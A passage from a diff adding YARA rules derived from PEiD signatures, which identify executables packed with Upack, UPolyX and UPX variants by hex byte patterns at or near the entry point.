+        $a = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02366_Upack_V0_10_V0_11____Dwing_
+{
+    meta:
+        description = "[Upack V0.10-V0.11 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02367_UPack_v0_11_
+{
+    meta:
+        description = "[UPack v0.11]"
+        ep_only = "false"
+    strings:
+        $a = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 55 CC 33 C9 E9 DF 00 00 00 8B 5E 0C 83 C2 30 FF D5 73 50 83 C2 30 FF D5 72 1B 83 C2 30 FF D5 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 46 0C B1 80 8A 00 EB CF 83 C2 60 FF D5 87 5E 10 73 0D 83 C2 30 FF D5 87 5E 14 73 03 87 5E 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 96 7C 07 00 00 FF 55 D0 5B 91 EB 77 3C 07 B0 07 72 02 B0 0A 50 87 5E 10 87 5E 14 89 5E 18 8D 96 C4 0B 00 00 FF 55 D0 50 48}
+    condition:
+        $a
+}
+
+rule PEiD_02368_Upack_v0_1x___v0_2x____Dwing_
+{
+    meta:
+        description = "[Upack v0.1x - v0.2x -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 95}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02369_Upack_v0_21Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.21Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 ?? ?? ?? ?? 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02370_Upack_v0_22___v0_23Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.22 ~ v0.23Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02371_Upack_v0_24___v0_28alpha____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.24 ~ v0.28alpha -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 40 00 AD ?? ?? 95 AD 91 F3 A5 AD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02372_Upack_v0_29_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.29 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 29}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02373_Upack_v0_29_Beta___v0_31_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.29 Beta ~ v0.31 Beta -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3}
+    condition:
+        $a
+}
+
+rule PEiD_02374_Upack_v0_2Beta_
+{
+    meta:
+        description = "[Upack v0.2Beta]"
+        ep_only = "true"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 8B F8 95 A5 33 C0 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02375_Upack_v0_30_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.30 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 30}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02376_Upack_v0_31_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.31 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 31}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02377_Upack_v0_32_Beta__Patch_____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.32 Beta (Patch) -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 50 ?? AD 91 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02378_Upack_v0_32_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.32 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02379_Upack_v0_32_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.32 Beta -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 50 ?? ?? AD 91 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02380_Upack_v0_32_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.32 Beta -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {BE 88 01 ?? ?? AD 50 ?? AD 91 ?? F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_02381_Upack_v0_33___v0_34_Beta____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.33 ~ v0.34 Beta -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? 59 F3 A5 83 C8 FF 8B DF AB 40 AB 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02382_Upack_v0_35_alpha____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.35 alpha -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {8B F2 8B CA 03 4C 19 1C 03 54 1A 20}
+    condition:
+        $a
+}
+
+rule PEiD_02383_Upack_V0_36____Dwing_
+{
+    meta:
+        description = "[Upack V0.36 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02384_Upack_V0_36____Dwing_
+{
+    meta:
+        description = "[Upack V0.36 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? FF 36 E9 C3 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02385_Upack_v0_36_alpha____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.36 alpha -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {AB E2 E5 5D 59 8B 76 68 51 59 46 AD 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_02386_Upack_v0_37_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.37 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 37 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 8E FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02387_Upack_v0_37___v0_38_Beta__Strip_base_relocation_table_Option_____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.37 ~ v0.38 Beta (Strip base relocation table Option) -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33}
+    condition:
+        $a
+}
+
+rule PEiD_02388_Upack_V0_37_V0_39____Dwing_
+{
+    meta:
+        description = "[Upack V0.37-V0.39 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? AD 50 FF ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02389_Upack_v0_38_beta____Dwing_
+{
+    meta:
+        description = "[Upack v0.38 beta -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 97 FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02390_Upack_v0_39_final____Dwing__h__
+{
+    meta:
+        description = "[Upack v0.39 final -> Dwing (h)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02391_Upack_v0_39_final____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.39 final -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91}
+    condition:
+        $a
+}
+
+rule PEiD_02392_Upack_v0_39_final____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack v0.39 final -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02393_Upack_v0_399____Dwing_
+{
+    meta:
+        description = "[Upack v0.399 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02394_Upack_v0_399____Dwing_
+{
+    meta:
+        description = "[Upack v0.399 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? 00 14 00 00 00 00 ?? ?? 00 ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? 00 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? 00 ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02395_Upack_v0_399____Dwing_
+{
+    meta:
+        description = "[Upack v0.399 -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 10 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02396_Upack_V0_3X____Dwing_
+{
+    meta:
+        description = "[Upack V0.3X -> Dwing]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 5E 87 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02397_Upack_Patch____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Patch -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {81 3A 00 00 00 02 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02398_Upack_Patch____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Patch -> Sign by hot_UNP]"
+        ep_only = "false"
+    strings:
+        $a = {2A A3 F2 54 CE}
+    condition:
+        $a
+}
+
+rule PEiD_02399_Upack_Patch_or_any_Version____Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Patch or any Version -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02400_Upack_Unknown__DLL_________Sign_by_hot_UNP_
+{
+    meta:
+        description = "[Upack_Unknown (DLL ???) -> Sign by hot_UNP]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 17 CD 00 00 E9 06 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02401_UPolyX_0_x____Delikon_
+{
+    meta:
+        description = "[UPolyX 0.x -> Delikon]"
+        ep_only = "true"
+    strings:
+        $a = {81 FD 00 FB FF FF 83 D1 ?? 8D 14 2F 83 FD FC 76 ?? 8A 02 42 88 07 47 49 75}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_02402_UPolyX_V0_1____Delikon_
+{
+    meta:
+        description = "[UPolyX V0.1 -> Delikon]"
+        ep_only = "false"
+    strings:
+        $a = {E2 ?? FF ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_02403_UPolyX_v0_5_
+{
+    meta:
+        description = "[UPolyX v0.5]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 04 89 ?? 24 59 ?? ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02404_UPolyX_v0_5_
+{
+    meta:
+        description = "[UPolyX v0.5]"
+        ep_only = "false"
+    strings:
+        $a = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02405_UPolyX_v0_5_
+{
+    meta:
+        description = "[UPolyX v0.5]"
+        ep_only = "false"
+    strings:
+        $a = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02406_UPX___ECLiPSE_layer_
+{
+    meta:
+        description = "[UPX + ECLiPSE layer]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02407_UPX____www_upx_sourceforge_net_
+{
+    meta:
+        description = "[UPX -> www.upx.sourceforge.net]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE ?? ?0 4? 00 8D BE ?? ?? F? FF}
+    condition:
+        $a
+}
+
+rule PEiD_02408_UPX____www_upx_sourceforge_net_
+{
+    meta:
+        description = "[UPX -> www.upx.sourceforge.net]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE ?? ?? ?? 00 8D BE ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_02409_UPX_0_50___0_70_
+{
+    meta:
+        description = "[UPX 0.50 - 0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02410_UPX_0_72_
+{
+    meta:
+        description = "[UPX 0.72]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 83 CD FF 31 DB 5E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02411_UPX_2_00_3_0X____Markus_Oberhumer___Laszlo_Molnar___John_Reiser_
+{
+    meta:
+        description = "[UPX 2.00-3.0X -> Markus Oberhumer & Laszlo Molnar & John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02412_UPX_2_00_3_0X____Markus_Oberhumer__amp__Laszlo_Molnar__amp__John_Reiser_
+{
+    meta:
+        description = "[UPX 2.00-3.0X -> Markus Oberhumer &amp; Laszlo Molnar &amp; John Reiser]"
+        ep_only = "false"
+    strings:
+        $a = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF ?? ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 57 48 F2 AE 55 FF ?? ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB E1 FF ?? ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? ?? ?? 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02413_UPX_2_90__LZMA__
+{
+    meta:
+        description = "[UPX 2.90 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02414_UPX_2_90__LZMA__
+{
+    meta:
+        description = "[UPX 2.90 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02415_UPX_2_90__LZMA__
+{
+    meta:
+        description = "[UPX 2.90 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02416_UPX_2_93__LZMA__
+{
+    meta:
+        description = "[UPX 2.93 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 03 00 02 00 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02417_UPX_3_02_
+{
+    meta:
+        description = "[UPX 3.02]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02418_UPX__com_
+{
+    meta:
+        description = "[UPX [com]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BE ?? ?? BF C0 FF FD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02419_UPX_Alternative_stub_
+{
+    meta:
+        description = "[UPX Alternative stub]"
+        ep_only = "true"
+    strings:
+        $a = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02420_UPX_Inliner_1_0_by_GPcH_
+{
+    meta:
+        description = "[UPX Inliner 1.0 by GPcH]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01}
+    condition:
+        $a
+}
+
+rule PEiD_02421_UPX_Inliner_v1_0_by_GPcH_
+{
+    meta:
+        description = "[UPX Inliner v1.0 by GPcH]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 05 FF FF FF 85 C0 0F 84 06 03 00 00 89 85 C5 FE FF FF E8 00 00 00 00 5B B9 31 89 40 00 81 E9 2E 86 40 00 03 D9 50 53 E8 3D 02 00 00 61 03 BD A9 FE FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 09 FF FF FF FF B5 05 FF FF FF 56 57 FF 95 C5 FE FF FF 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB CE 68 00 80 00 00 6A 00 FF 